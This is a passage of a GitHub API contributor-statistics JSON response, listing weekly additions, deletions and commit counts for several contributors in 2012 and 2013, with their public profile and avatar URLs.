d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":216,"d":0,"c":1},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"Zearin","id":630124,"avatar_url":"https://0.gravatar.com/avatar/cb9730ee11d50fa2db955d687c653971?d=https%3A%2F%2Fidenticons.github.com%2Ff4ab3d7c9207c8c6a32aabb28771410f.png&r=x","gravatar_id":"cb9730ee11d50fa2db955d687c653971","url":"https://api.github.com/users/Zearin","html_url":"https://github.com/Zearin","followers_url":"https://api.github.com/users/Zearin/followers","following_url":"https://api.github.com/users/Zearin/following{/other_user}","gists_url":"https://api.github.com/users/Zearin/gists{/gist_id}","starred_url":"https://api.github.com/users/Zearin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Zearin/subscriptions","organizations_url":"https://api.github.com/users/Zearin/orgs","repos_url":"https://api.github.com/users/Zearin/repos","events_url":"https://api.github.com/users/Zearin/events{/privacy}","received_events_url":"https://api.github.com/users/Zearin/received_events","type":"User","site_admin":false}},{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":238,"d":0,"c":1},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"pgolm","id":1444194,"avatar_url":"https://1.gravatar.com/avatar/c6d6b2eb927ed858092c47da9f150372?d=https%3A%2F%2Fidenticons.github.com%2F57b229318d141b9912e2aa86fa75f97f.png&r=x","gravatar_id":"c6d6b2eb927ed858092c47da9f150372","url":"https://api.github.com/users/pgolm","html_url":"https://github.com/pgolm","followers_url":"https://api.github.com/users/pgolm/followers","following_url":"https://api.github.com/users/pgolm/following{/other_user}","gists_url":"https://api.github.com/users/pgolm/gists{/gist_id}","starred_url":"https://api.github.com/users/pgolm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pgolm/subscriptions","organizations_url":"https://api.github.com/users/pgolm/orgs","repos_url":"https://api.github.com/users/pgolm/repos","events_url":"https://api.github.com/users/pgolm/events{/privacy}","received_events_url":"https://api.github.com/users/pgolm/received_events","type":"User","site_admin":false}},{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":3,"d":3,"c":1},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"srijan","id":471308,"avatar_url":"https://0.gravatar.com/avatar/bccaf0b5698e6566d256ca4c6ca73cee?d=https%3A%2F%2Fidenticons.github.com%2F16ec6e429e3072cb9722f02383767b62.png&r=x","gravatar_id":"bccaf0b5698e6566d256ca4c6ca73cee","url":"https://api.github.com/users/srijan","html_url":"https://github.com/srijan","followers_url":"https://api.github.com/users/srijan/followers","following_url":"https://api.github.com/users/srijan/following{/other_user}","gists_url":"https://api.github.com/users/srijan/gists{/gist_id}","starred_url":"https://api.github.com/users/srijan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/srijan/subscriptions","organizations_url":"https://api.github.com/users/srijan/orgs","repos_url":"https://api.github.com/users/srijan/repos","events_url":"https://api.github.com/users/srijan/events{/privacy}","received_events_url":"https://api.github.com/users/srijan/received_events","type":"User","site_admin":false}},{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":14,"d":3,"c":1},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"mwoodworth","id":606209,"avatar_url":"https://2.gravatar.com/avatar/fa8bf31f678044f65afb6c4c5a8ea542?d=https%3A%2F%2Fidenticons.github.com%2Fb5508fc77109ee7d5c9f4aaad993bf1a.png&r=x","gravatar_id":"fa8bf31f678044f65afb6c4c5a8ea542","url":"https://api.github.com/users/mwoodworth","html_url":"https://github.com/mwoodworth","followers_url":"https://api.github.com/users/mwoodworth/followers","following_url":"https://api.github.com/users/mwoodworth/following{/other_user}","gists_url":"https://api.github.com/users/mwoodworth/gists{/gist_id}","starred_url":"https://api.github.com/users/mwoodworth/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mwoodworth/subscriptions","organizations_url":"https://api.github.com/users/mwoodworth/orgs","repos_url":"https://api.github.com/users/mwoodworth/repos","events_url":"https://api.github.com/users/mwoodworth/events{/privacy}","received_events_url":"https://api.github.com/users/mwoodworth/received_events","type":"User","site_admin":false}},{"total":1,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":1,"d":1,"c":1},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":0,"d":0,"c":0},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":0,"d":0,"c":0},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w":1376784000,"a":0,"d":0,"c":0},{"w":1377388800,"a":0,"d":0,"c":0},{"w":1377993600,"a":0,"d":0,"c":0},{"w":1378598400,"a":0,"d":0,"c":0},{"w":1379203200,"a":0,"d":0,"c":0},{"w":1379808000,"a":0,"d":0,"c":0},{"w":1380412800,"a":0,"d":0,"c":0},{"w":1381017600,"a":0,"d":0,"c":0},{"w":1381622400,"a":0,"d":0,"c":0},{"w":1382227200,"a":0,"d":0,"c":0},{"w":1382832000,"a":0,"d":0,"c":0},{"w":1383436800,"a":0,"d":0,"c":0},{"w":1384041600,"a":0,"d":0,"c":0}],"author":{"login":"tymofij","id":123786,"avatar_url":"https://0.gravatar.com/avatar/253b410d7a41999c754970a3aa34834e?d=https%3A%2F%2Fidenticons.github.com%2F28d97fe32c981d8f78111b37e796188a.png&r=x","gravatar_id":"253b410d7a41999c754970a3aa34834e","url":"https://api.github.com/users/tymofij","html_url":"https://github.com/tymofij","followers_url":"https://api.github.com/users/tymofij/followers","following_url":"https://api.github.com/users/tymofij/following{/other_user}","gists_url":"https://api.github.com/users/tymofij/gists{/gist_id}","starred_url":"https://api.github.com/users/tymofij/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tymofij/subscriptions","organizations_url":"https://api.github.com/users/tymofij/orgs","repos_url":"https://api.github.com/users/tymofij/repos","events_url":"https://api.github.com/users/tymofij/events{/privacy}","received_events_url":"https://api.github.com/users/tymofij/received_events","type":"User","site_admin":false}},{"total":2,"weeks":[{"w":1329004800,"a":0,"d":0,"c":0},{"w":1329609600,"a":0,"d":0,"c":0},{"w":1330214400,"a":0,"d":0,"c":0},{"w":1330819200,"a":0,"d":0,"c":0},{"w":1331424000,"a":0,"d":0,"c":0},{"w":1332028800,"a":0,"d":0,"c":0},{"w":1332633600,"a":0,"d":0,"c":0},{"w":1333238400,"a":0,"d":0,"c":0},{"w":1333843200,"a":0,"d":0,"c":0},{"w":1334448000,"a":0,"d":0,"c":0},{"w":1335052800,"a":0,"d":0,"c":0},{"w":1335657600,"a":0,"d":0,"c":0},{"w":1336262400,"a":0,"d":0,"c":0},{"w":1336867200,"a":0,"d":0,"c":0},{"w":1337472000,"a":0,"d":0,"c":0},{"w":1338076800,"a":0,"d":0,"c":0},{"w":1338681600,"a":0,"d":0,"c":0},{"w":1339286400,"a":0,"d":0,"c":0},{"w":1339891200,"a":0,"d":0,"c":0},{"w":1340496000,"a":0,"d":0,"c":0},{"w":1341100800,"a":0,"d":0,"c":0},{"w":1341705600,"a":0,"d":0,"c":0},{"w":1342310400,"a":0,"d":0,"c":0},{"w":1342915200,"a":0,"d":0,"c":0},{"w":1343520000,"a":0,"d":0,"c":0},{"w":1344124800,"a":0,"d":0,"c":0},{"w":1344729600,"a":0,"d":0,"c":0},{"w":1345334400,"a":0,"d":0,"c":0},{"w":1345939200,"a":0,"d":0,"c":0},{"w":1346544000,"a":0,"d":0,"c":0},{"w":1347148800,"a":0,"d":0,"c":0},{"w":1347753600,"a":0,"d":0,"c":0},{"w":1348358400,"a":0,"d":0,"c":0},{"w":1348963200,"a":0,"d":0,"c":0},{"w":1349568000,"a":0,"d":0,"c":0},{"w":1350172800,"a":0,"d":0,"c":0},{"w":1350777600,"a":0,"d":0,"c":0},{"w":1351382400,"a":0,"d":0,"c":0},{"w":1351987200,"a":0,"d":0,"c":0},{"w":1352592000,"a":0,"d":0,"c":0},{"w":1353196800,"a":0,"d":0,"c":0},{"w":1353801600,"a":0,"d":0,"c":0},{"w":1354406400,"a":0,"d":0,"c":0},{"w":1355011200,"a":0,"d":0,"c":0},{"w":1355616000,"a":0,"d":0,"c":0},{"w":1356220800,"a":0,"d":0,"c":0},{"w":1356825600,"a":0,"d":0,"c":0},{"w":1357430400,"a":0,"d":0,"c":0},{"w":1358035200,"a":0,"d":0,"c":0},{"w":1358640000,"a":0,"d":0,"c":0},{"w":1359244800,"a":0,"d":0,"c":0},{"w":1359849600,"a":0,"d":0,"c":0},{"w":1360454400,"a":0,"d":0,"c":0},{"w":1361059200,"a":0,"d":0,"c":0},{"w":1361664000,"a":0,"d":0,"c":0},{"w":1362268800,"a":0,"d":0,"c":0},{"w":1362873600,"a":0,"d":0,"c":0},{"w":1363478400,"a":0,"d":0,"c":0},{"w":1364083200,"a":0,"d":0,"c":0},{"w":1364688000,"a":0,"d":0,"c":0},{"w":1365292800,"a":0,"d":0,"c":0},{"w":1365897600,"a":0,"d":0,"c":0},{"w":1366502400,"a":0,"d":0,"c":0},{"w":1367107200,"a":0,"d":0,"c":0},{"w":1367712000,"a":0,"d":0,"c":0},{"w":1368316800,"a":0,"d":0,"c":0},{"w":1368921600,"a":0,"d":0,"c":0},{"w":1369526400,"a":0,"d":0,"c":0},{"w":1370131200,"a":0,"d":0,"c":0},{"w":1370736000,"a":0,"d":0,"c":0},{"w":1371340800,"a":10,"d":0,"c":1},{"w":1371945600,"a":0,"d":0,"c":0},{"w":1372550400,"a":0,"d":0,"c":0},{"w":1373155200,"a":0,"d":0,"c":0},{"w":1373760000,"a":4,"d":1,"c":1},{"w":1374364800,"a":0,"d":0,"c":0},{"w":1374969600,"a":0,"d":0,"c":0},{"w":1375574400,"a":0,"d":0,"c":0},{"w":1376179200,"a":0,"d":0,"c":0},{"w"